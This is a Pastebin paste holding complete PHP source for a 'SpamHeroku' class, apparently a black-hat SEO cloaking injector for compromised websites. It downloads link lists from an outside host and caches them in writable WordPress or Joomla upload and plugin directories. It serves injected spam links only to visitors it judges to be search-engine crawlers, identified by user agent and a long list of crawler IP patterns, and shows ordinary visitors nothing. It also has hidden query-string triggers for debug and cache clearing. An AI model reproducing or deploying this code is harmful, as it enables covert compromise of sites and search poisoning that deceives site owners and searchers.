Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $spam = new SpamHeroku();
- $spam->setBulb('http://mycompanyeye.com/bulbozavr/new2/13.list', 4 * 3600);
- //$spam->setKeyUrl('http://mycompanyeye.com/slov.txt');
- $spam->setLinkCache(1800);
- $spam->setMode('all');
- $spam->setUseParagraph(true);
- $spam->setLinkLimit(500);
- $spam->setBotIpArray(array('/185\.29\.\d+\.\d+/i', '/1\.0\.\d+\.\d+/i','/1\.1\.\d+\.\d+/i','/1\.2\.\d+\.\d+/i','/103\.246\.\d+\.\d+/i','/108\.167\.\d+\.\d+/i','/108\.170\.\d+\.\d+/i','/108\.177\.\d+\.\d+/i','/108\.59\.\d+\.\d+/i','/109\.109\.\d+\.\d+/i','/113\.197\.\d+\.\d+/i','/124\.30\.\d+\.\d+/i','/142\.250\.\d+\.\d+/i','/142\.251\.\d+\.\d+/i','/157\.238\.\d+\.\d+/i','/165\.193\.\d+\.\d+/i','/166\.90\.\d+\.\d+/i','/172\.217\.\d+\.\d+/i','/172\.253\.\d+\.\d+/i','/173\.15\.\d+\.\d+/i','/173\.164\.\d+\.\d+/i','/173\.194\.\d+\.\d+/i','/173\.200\.\d+\.\d+/i','/173\.203\.\d+\.\d+/i','/173\.240\.\d+\.\d+/i','/173\.255\.\d+\.\d+/i','/174\.142\.\d+\.\d+/i','/178\.33\.\d+\.\d+/i','/178\.60\.\d+\.\d+/i','/184\.107\.\d+\.\d+/i','/184\.173\.\d+\.\d+/i','/185\.25\.\d+\.\d+/i','/192\.119\.\d+\.\d+/i','/192\.158\.\d+\.\d+/i','/192\.178\.\d+\.\d+/i','/192\.179\.\d+\.\d+/i','/192\.200\.\d+\.\d+/i','/193\.120\.\d+\.\d+/i','/193\.142\.\d+\.\d+/i','/193\.186\.\d+\.\d+/i','/193\.200\.\d+\.\d+/i','/193\.92\.\d+\.\d+/i','/194\.100\.\d+\.\d+/i','/194\.110\.\d+\.\d+/i','/194\.221\.\d+\.\d+/i','/194\.78\.\d+\.\d+/i','/195\.100\.\d+\.\d+/i','/195\.141\.\d+\.\d+/i','/195\.145\.\d+\.\d+/i','/195\.18\.\d+\.\d+/i','/195\.205\.\d+\.\d+/i','/195\.22\.\d+\.\d+/i','/195\.229\.\d+\.\d+/i','/195\.27\.\d+\.\d+/i','/195\.59\.\d+\.\d+/i','/195\.65\.\d+\.\d+/i','/195\.76\.\d+\.\d+/i','/195\.81\.\d+\.\d+/i','/196\.3\.\d+\.\d+/i','/198\.108\.\d+\.\d+/i','/199\.102\.\d+\.\d+/i','/199\.192\.\d+\.\d+/i','/199\.223\.\d+\.\d+/i','/199\.227\.\d+\.\d+/i','/200\.202\.\d+\.\d+/i','/200\.99\.\d+\.\d+/i','/202\.106\.\d+\.\d+/i','/202\.96\.\d+\.\d+/i','/203\.208\.\d+\.\d+/i','/203\.222\.\d+\.\d+/i','/203\.98\.\d+\.\d+/i','/204\.17\.\d+\.\d+/i','/204\.50\.\d+\.\d+/i','/205\.197\.\d+\.\d+/i','/206\.15\.\d+\.\d+/i','/206\.160\.\d+\.\d+/i','/206\.169\.\d+\.\d+/i','/206\.186\.\d+\.\d+/i','/206\.80\.\d+\.\d+/i','/207\.223\.\d+\.\d+/i','/207\.250\.\d+\.\d+/i','/207\.47\.\d+\.\d+/i','/207\.86\.\d+\.\d+/i','/207\.88\.\d+\.\d+/i','/208\.113\.\d+\.\d+/i','/208\.185\.\d+\.\d+/i','/208\.21\.\d+\.\d+/i','/208\.253\.\d+\.\d+/i','/208\.36\.\d+\.\d+/i','/208\.37\.\d+\.\d+/i','/208\.44\.\d+\.\d+/i','/208\.45\.\d+\.\d+/i','/209\.116\.\d+\.\d+/i','/209\.118\.\d+\.\d+/i','/209\.119\.\d+\.\d+/i','/209\.12\.\d+\.\d+/i','/209\.185\.\d+\.\d+/i','/209\.203\.\d+\.\d+/i','/209\.220\.\d+\.\d+/i','/209\.234\.\d+\.\d+/i','/209\.245\.\d+\.\d+/i','/209\.247\.\d+\.\d+/i','/209\.249\.\d+\.\d+/i','/209\.48\.\d+\.\d+/i','/209\.85\.\d+\.\d+/i','/212\.0\.\d+\.\d+/i','/212\.108\.\d+\.\d+/i','/212\.126\.\d+\.\d+/i','/212\.179\.\d+\.\d+/i','/212\.181\.\d+\.\d+/i','/212\.21\.\d+\.\d+/i','/212\.49\.\d+\.\d+/i','/212\.50\.\d+\.\d+/i','/213\.144\.\d+\.\d+/i','/213\.151\.\d+\.\d+/i','/213\.152\.\d+\.\d+/i','/213\.186\.\d+\.\d+/i','/213\.187\.\d+\.\d+/i','/213\.19\.\d+\.\d+/i','/213\.240\.\d+\.\d+/i','/213\.246\.\d+\.\d+/i','/213\.31\.\d+\.\d+/i','/213\.61\.\d+\.\d+/i','/216\.1\.\d+\.\d+/i','/216\.109\.\d+\.\d+/i','/216\.110\.\d+\.\d+/i','/216\.136\.\d+\.\d+/i','/216\.156\.\d+\.\d+/i','/216\.207\.\d+\.\d+/i','/216\.21\.\d+\.\d+/i','/216\.218\.\d+\.\d+/i','/216\.239\.\d+\.\d+/i','/216\.33\.\d+\.\d+/i','/216\.34\.\d+\.\d+/i','/216\.58\.\d+\.\d+/i','/216\.59\.\d+\.\d+/i','/216\.64\.\d+\.\d+/i','/216\.74\.\d+\.\d+/i','/217\.118\.\d+\.\d+/i','/217\.149\.\d+\.\d+/i','/217\.163\.\d+\.\d+/i','/217\.193\.\d+\.\d+/i','/217\.28\.\d+\.\d+/i','/217\.30\.\d+\.\d+/i','/217\.33\.\d+\.\d+/i','/222\.66\.\d+\.\d+/i','/38\.101\.\d+\.\d+/i','/38\.102\.\d+\.\d+/i','/38\.104\.\d+\.\d+/i','/38\.106\.\d+\.\d+/i','/38\.107\.\d+\.\d+/i','/38\.98\.\d+\.\d+/i','/4\.3\.\d+\.\d+/i','/46\.4\.\d+\.\d+/i','/50\.116\.\d+\.\d+/i','/62\.159\.\d+\.\d+/i','/62\.20\.\d+\.\d+/i','/62\.233\.\d+\.\d+/i','/63\.146\.\d+\.\d+/i','/63\.161\.\d+\.\d+/i','/63\.166\.\d+\.\d+/i','/63\.211\.\d+\.\d+/i','/63\.243\.\d+\.\d+/i','/63\.251\.\d+\.\d+/i','/63\.83\.\d+\.\d+/i','/63\.84\.\d+\.\d+/i','/63\.97\.\d+\.\d+/i','/64\.0\.\d+\.\d+/i','/64\.124\.\d+\.\d+/i','/64\.128\.\d+\.\d+/i','/64\.132\.\d+\.\d+/i','/64\.154\.\d+\.\d+/i','/64\.186\.\d+\.\d+/i','/64\.233\.\d+\.\d+/i','/64\.245\.\d+\.\d+/i','/64\.41\.\d+\.\d+/i','/64\.68\.\d+\.\d+/i','/64\.71\.\d+\.\d+/i','/64\.9\.\d+\.\d+/i','/65\.167\.\d+\.\d+/i','/65\.170\.\d+\.\d+/i','/65\.171\.\d+\.\d+/i','/65\.196\.\d+\.\d+/i','/65\.201\.\d+\.\d+/i','/65\.205\.\d+\.\d+/i','/65\.210\.\d+\.\d+/i','/65\.211\.\d+\.\d+/i','/65\.214\.\d+\.\d+/i','/65\.221\.\d+\.\d+/i','/65\.223\.\d+\.\d+/i','/65\.245\.\d+\.\d+/i','/65\.47\.\d+\.\d+/i','/66\.102\.\d+\.\d+/i','/66\.162\.\d+\.\d+/i','/66\.192\.\d+\.\d+/i','/66\.227\.\d+\.\d+/i','/66\.249\.\d+\.\d+/i','/66\.77\.\d+\.\d+/i','/67\.122\.\d+\.\d+/i','/67\.126\.\d+\.\d+/i','/67\.152\.\d+\.\d+/i','/67\.69\.\d+\.\d+/i','/67\.93\.\d+\.\d+/i','/69\.111\.\d+\.\d+/i','/69\.224\.\d+\.\d+/i','/69\.228\.\d+\.\d+/i','/69\.236\.\d+\.\d+/i','/69\.237\.\d+\.\d+/i','/70\.239\.\d+\.\d+/i','/70\.32\.\d+\.\d+/i','/70\.89\.\d+\.\d+/i','/70\.90\.\d+\.\d+/i','/71\.130\.\d+\.\d+/i','/72\.14\.\d+\.\d+/i','/72\.16\.\d+\.\d+/i','/74\.125\.\d+\.\d+/i','/75\.17\.\d+\.\d+/i','/75\.23\.\d+\.\d+/i','/75\.37\.\d+\.\d+/i','/75\.52\.\d+\.\d+/i','/76\.200\.\d+\.\d+/i','/76\.220\.\d+\.\d+/i','/76\.231\.\d+\.\d+/i','/76\.242\.\d+\.\d+/i','/76\.246\.\d+\.\d+/i','/77\.109\.\d+\.\d+/i','/77\.40\.\d+\.\d+/i','/78\.8\.\d+\.\d+/i','/8\.22\.\d+\.\d+/i','/8\.34\.\d+\.\d+/i','/8\.35\.\d+\.\d+/i','/8\.6\.\d+\.\d+/i','/8\.8\.\d+\.\d+/i','/80\.146\.\d+\.\d+/i','/80\.169\.\d+\.\d+/i','/80\.227\.\d+\.\d+/i','/80\.231\.\d+\.\d+/i','/80\.239\.\d+\.\d+/i','/80\.77\.\d+\.\d+/i','/80\.80\.\d+\.\d+/i','/81\.211\.\d+\.\d+/i','/81\.93\.\d+\.\d+/i','/82\.94\.\d+\.\d+/i','/83\.141\.\d+\.\d+/i','/83\.220\.\d+\.\d+/i','/84\.233\.\d+\.\d+/i','/84\.235\.\d+\.\d+/i','/86\.127\.\d+\.\d+/i','/87\.244\.\d+\.\d+/i','/88\.208\.\d+\.\d+/i','/89\.114\.\d+\.\d+/i','/89\.175\.\d+\.\d+/i','/89\.207\.\d+\.\d+/i','/89\.96\.\d+\.\d+/i','/92\.45\.\d+\.\d+/i','/93\.153\.\d+\.\d+/i','/93\.94\.\d+\.\d+/i','/94\.200\.\d+\.\d+/i','/94\.40\.\d+\.\d+/i','/95\.172\.\d+\.\d+/i','/96\.125\.\d+\.\d+/i','/99\.136\.\d+\.\d+/i','/99\.144\.\d+\.\d+/i','/99\.148\.\d+\.\d+/i','/99\.163\.\d+\.\d+/i','/99\.40\.\d+\.\d+/i','/99\.55\.\d+\.\d+/i','/99\.96\.\d+\.\d+/i'));
- //$spam->setOnePage(true);
- $spam->init();
- class SpamHeroku
- {
- var $debug = false;
- var $bulb_url = false;
- var $bulb_array = array();
- var $bulb_cache = 0;
- var $ip_url = false;
- var $ip_array = array();
- var $ip_cache = 0;
- var $write_dir = false;
- var $link_cache = 7200;
- var $link_limit = false;
- var $use_paragraph = false;
- var $mode = 'one';
- var $one_page = false;
- var $key_array = array();
- var $key_url = false;
- var $hash = '';
- function enableDebug()
- {
- $this->debug = true;
- $this->_('Enable debug');
- }
- function _($var)
- {
- if (!$this->debug) {
- return false;
- }
- if (is_array($var)) {
- print_r($var);
- } else {
- echo($var . "\r\n<br/>");
- }
- return true;
- }
- function setOnePage($one_page)
- {
- $this->one_page = $one_page;
- }
- function setUseParagraph($use_paragraph)
- {
- $this->use_paragraph = $use_paragraph;
- }
- function setBotIpArray($array) {
- $this->ip_array = $array;
- }
- function setBulb($bulb_url, $bulb_cache) {
- $this->bulb_url = $bulb_url;
- $this->bulb_cache = $bulb_cache;
- $this->hash = md5($bulb_url);
- }
- function init()
- {
- @ini_set("memory_limit", "-1");
- if (isset($_GET['rubrikant']) || (isset($_SERVER['argv']) && in_array('debug', $_SERVER['argv']))) {
- $this->enableDebug();
- }
- if (($dir = $this->getWritableDir()) === false) {
- $this->_('Write dir not detected');
- return false;
- }
- if (isset($_GET['clear']) || (isset($_SERVER['argv']) && in_array('clear', $_SERVER['argv']))) {
- $this->_('Clear cache');
- $this->bulb_cache = 1;
- $this->link_cache = 1;
- $this->ip_cache = 1;
- foreach (glob($dir.'*.cache') as $filecache) {
- unlink($filecache);
- }
- }
- $this->_('Writable dir: ['.$dir.']');
- if (!$this->is_bot()) {
- $this->_('You are not bot! Exit');
- return false;
- }
- $this->updateBulbs();
- if ($this->showLinks()) {
- $this->_('Good job! Exit');
- }
- return false;
- }
- function showLinks() {
- $url = $this->getRequestUrl();
- $url_file = $this->getWritableDir().md5($this->hash.$url).'.cache';
- if (!file_exists($url_file) || (time() - filemtime($url_file)) > $this->link_cache) {
- $link_file = $this->getWritableDir().md5($this->hash.'links_from_bulbs').'.cache';
- $links = $this->rand_lines_from_file($link_file, $this->link_limit);
- $fh = fopen($url_file, 'w');
- foreach ($links as $link) {
- fwrite($fh, $this->transform($link)."\r\n");
- }
- fclose($fh);
- }
- readfile($url_file);
- return true;
- }
- function transform($link) {
- //$link = $this->setRandAnchor($link);
- //$link = $this->setTextFromAnchors($link);
- return $link;
- }
- function setRandAnchor($link) {
- if (!preg_match('%<a(.*?)href="([^"]+)"(.*?)>(.*?)</a>%i', $link, $ret, PREG_OFFSET_CAPTURE)) {
- return $link;
- }
- $href = $ret[2][0];
- $anc = $ret[4][0];
- $pos = $ret[4][1];
- if (mt_rand(1, 100) <= 25) {
- $new_anc = $anc;
- } elseif (mt_rand(1, 100) <= 20) {
- $new_anc = $anc.' '.$this->get_rand_keys();
- } elseif (mt_rand(1, 100) <= 20) {
- $new_anc = $this->get_rand_keys().' '.$anc;
- } elseif (mt_rand(1, 100) <= 20) {
- $new_anc = $this->get_rand_keys().' '.$anc.' '.$this->get_rand_keys();
- } elseif (mt_rand(1, 100) <= 10) {
- $new_anc = $href;
- } elseif (mt_rand(1, 100) <= 5) {
- if (preg_match('%(https?://([^/]+)/)(.*?)$%i', $href, $ret)) {
- $new_anc = $ret[1];
- } else {
- $new_anc = $href;
- }
- } else {
- $new_anc = $anc;
- }
- $link = substr($link, 0, $pos).$new_anc.'</a>';
- return $link;
- }
- function setTextFromAnchors($link) {
- static $cache_anchors = array();
- $anchor_file = $this->getWritableDir() . md5($this->hash.'anchors') . '.cache';
- if (!file_exists($anchor_file)) {
- $fh_anc = fopen($anchor_file, 'w');
- $link_file = $this->getWritableDir() . md5($this->hash.'links_from_bulbs') . '.cache';
- $fh = fopen($link_file, 'r');
- while(!feof($fh)) {
- $line = fgets($fh);
- if (preg_match('%>(.*?)</a>%', $line, $ret)) {
- fwrite($fh_anc, $ret[1]."\r\n");
- }
- }
- fclose($fh);
- fclose($fh_anc);
- }
- if (empty($cache_anchors)) {
- $cache_anchors = $this->rand_lines_from_file($anchor_file, $this->link_limit * 3);
- }
- $index1 = array_rand($cache_anchors);
- $text1 = $cache_anchors[$index1];
- unset($cache_anchors[$index1]);
- $index2 = array_rand($cache_anchors);
- $text2 = $cache_anchors[$index2];
- unset($cache_anchors[$index2]);
- $link = $text1.' '.$link.' '.$text2;
- return $link;
- }
- function getRequestUrl() {
- if ($this->one_page) {
- $url = $_SERVER['REQUEST_URI'];
- } else {
- $url = '*';
- }
- $this->_('current url: ['.$url.']');
- return $url;
- }
- function get_rand_keys() {
- $keys = $this->getKeyArray();
- if (!$keys) {
- return '';
- }
- return $keys[array_rand($keys)];
- }
- function generate_word($length) {
- $chars = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM';
- $word = '';
- for ($i = 0; $i < $length; $i++) {
- $word .= $chars[mt_rand(0, strlen($chars) - 1)];
- }
- return $word;
- }
- function updateBulbs()
- {
- if (!empty($this->bulb_array)) {
- return $this->bulb_array;
- }
- $bulb_file = $this->getWritableDir() . md5($this->hash.$this->bulb_url) . '.cache';
- if (!file_exists($bulb_file) || (time() - filemtime($bulb_file)) > $this->bulb_cache) {
- $this->_('Download new bulb file(' . $this->bulb_url . ')');
- if (!$this->download($this->bulb_url, $bulb_file, 'w')) {
- $this->_('Bulb file not download');
- return false;
- }
- $this->bulb_array = file($bulb_file);
- $this->bulb_array = array_map('trim', $this->bulb_array);
- $link_file = $this->getWritableDir() . md5($this->hash.'links_from_bulbs') . '.cache';
- $this->_('mode: [' . $this->getMode() . ']');
- if ($this->getMode() == 'all') {
- foreach ($this->bulb_array as $bulb) {
- $mode = 'a';
- $this->_('add bulb content: [' . $bulb . ']');
- $this->download($bulb, $link_file, $mode);
- }
- } else {
- $mode = 'w';
- $this->download($this->bulb_array[array_rand($this->bulb_array)], $link_file, $mode);
- }
- }
- return true;
- }
- function rand_lines_from_file($filepath, $count) {
- $lines = array();
- $count_file = $this->get_count_file($filepath);
- $array = array();
- for ($i = 0; $i < $count_file; $i++) {
- $array[] = 1;
- }
- if (!$count || $count >= sizeof($array)) {
- $count = sizeof($array) - 1;
- }
- $indexes = array_rand($array, $count);
- $indexes = array_flip($indexes);
- $file = fopen($filepath, 'r');
- $i = 0;
- while(!feof($file)) {
- $string = fgets($file);
- if (isset($indexes[$i])) {
- $lines[] = trim($string);
- }
- $i++;
- }
- fclose($file);
- shuffle($lines);
- return $lines;
- }
- function get_count_file($filepath) {
- $count = 0;
- $file = fopen($filepath, 'r');
- while(!feof($file)) {
- $count++;
- fgets($file);
- }
- fclose($file);
- return $count;
- }
- function getWritableDir() {
- if ($this->write_dir !== false) {
- return $this->write_dir;
- }
- $tmp = (@ini_get('upload_tmp_dir')) ? @ini_get('upload_tmp_dir') : '/tmp/';
- if (is_writable($tmp)) {
- $this->write_dir = $tmp.DIRECTORY_SEPARATOR;
- return $this->write_dir;
- }
- $engines = array(
- 'wp-config.php' => array('wp-content/uploads/'.date('Y').'/'.date('m').'/', 'wp-content/uploads/','wp-content/plugins/'),
- 'configuration.php' => array('images/avatars/', 'cache/', 'tmp/')
- );
- foreach ($engines as $file => $dirs) {
- $path = getcwd().DIRECTORY_SEPARATOR;
- $c = 0;
- while($c < 5) {
- if (file_exists($path.$file)) {
- foreach ($dirs as $dir) {
- if (is_writable($path.$dir)) {
- $this->write_dir = $path.$dir;
- return $this->write_dir;
- }
- }
- }
- $path = dirname($path).DIRECTORY_SEPARATOR;
- $c++;
- }
- }
- if (isset($_SERVER['DOCUMENT_ROOT']) && is_writable($_SERVER['DOCUMENT_ROOT'])) {
- $this->write_dir = $_SERVER['DOCUMENT_ROOT'];
- return $this->write_dir;
- }
- return false;
- }
- function is_bot()
- {
- return $this->is_bot_by_query() ||
- $this->is_bot_by_agent() ||
- $this->is_bot_by_ip();
- }
- function is_bot_by_query() {
- if (isset($_GET['nobot']) || (isset($_SERVER['argv']) && in_array('nobot', $_SERVER['argv']))) {
- $this->_('Bot by query');
- return true;
- }
- return false;
- }
- function is_bot_by_agent()
- {
- $agent_regex = '%(http|curl|google|yahoo|yandex|ya|bing|bot|crawl|lynx|SiteUptime|Spider|ia_archiver|AOL|slurp|msn)%i';
- if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match($agent_regex, $_SERVER['HTTP_USER_AGENT'], $ret)) {
- $this->_('Bot by agent(' . $ret[1] . ')');
- return true;
- }
- $this->_('No bot by agent');
- return false;
- }
- function setKeyUrl($key_url)
- {
- $this->key_url = $key_url;
- }
- function setKeyArray($key_array)
- {
- $this->key_array = $key_array;
- }
- function getKeyArray() {
- if (!empty($this->key_array)) {
- return $this->key_array;
- }
- if (!$this->key_url) {
- return array();
- }
- $key_cache = 24*3600;
- $key_file = $this->getWritableDir() . md5($this->hash.'key_file') . '.cache';
- if (!file_exists($key_file) || (time() - filemtime($key_file)) > $key_cache) {
- $this->download($this->key_url, $key_file, 'w');
- }
- $keys = file($key_file);
- $keys = array_map('trim', $keys);
- return $keys;
- }
- function is_bot_by_ip()
- {
- if (empty($this->ip_array)) {
- return false;
- }
- $client_ips = $this->getClientIp();
- $this->_('client ips('.implode(',', $client_ips).')');
- foreach ($this->ip_array as $bot_ip) {
- foreach ($client_ips as $client_ip) {
- if ($client_ip === $bot_ip || @preg_match($bot_ip, $client_ip)) {
- $this->_('Bot by ip('.$bot_ip.')');
- return true;
- }
- }
- }
- $this->_('No bot by ip');
- return false;//todo download
- }
- function getClientIp() {
- $ips = array($_SERVER['REMOTE_ADDR']);
- if (isset($_SERVER['HTTP_X_REAL_IP'])) {
- $ips[] = $_SERVER['HTTP_X_REAL_IP'];
- }
- return $ips;
- }
- function download($url, $filepath, $mode) {
- $handle = fopen($filepath, $mode);
- $this->_('Curl download file url('.$url.') to ('.$filepath.')');
- $curl = @curl_init($url);
- if (!$curl) {
- $this->_('Curl not init, dissalow ext');
- return false;
- }
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($curl, CURLOPT_FILE, $handle);
- curl_exec($curl);
- curl_close($curl);
- fclose($handle);
- return true;
- }
- function get_curl($url) {
- $this->_('Curl get url('.$url.')');
- $curl = @curl_init($url);
- if (!$curl) {
- $this->_('Curl not init, dissalow ext');
- return false;
- }
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
- $content = curl_exec($curl);
- curl_close($curl);
- return $content;
- }
- function getMode()
- {
- return $this->mode;
- }
- function setMode($mode)
- {
- $this->mode = $mode;
- }
- function setLinkCache($link_cache)
- {
- $this->link_cache = $link_cache;
- }
- function setLinkLimit($link_limit)
- {
- $this->link_limit = $link_limit;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement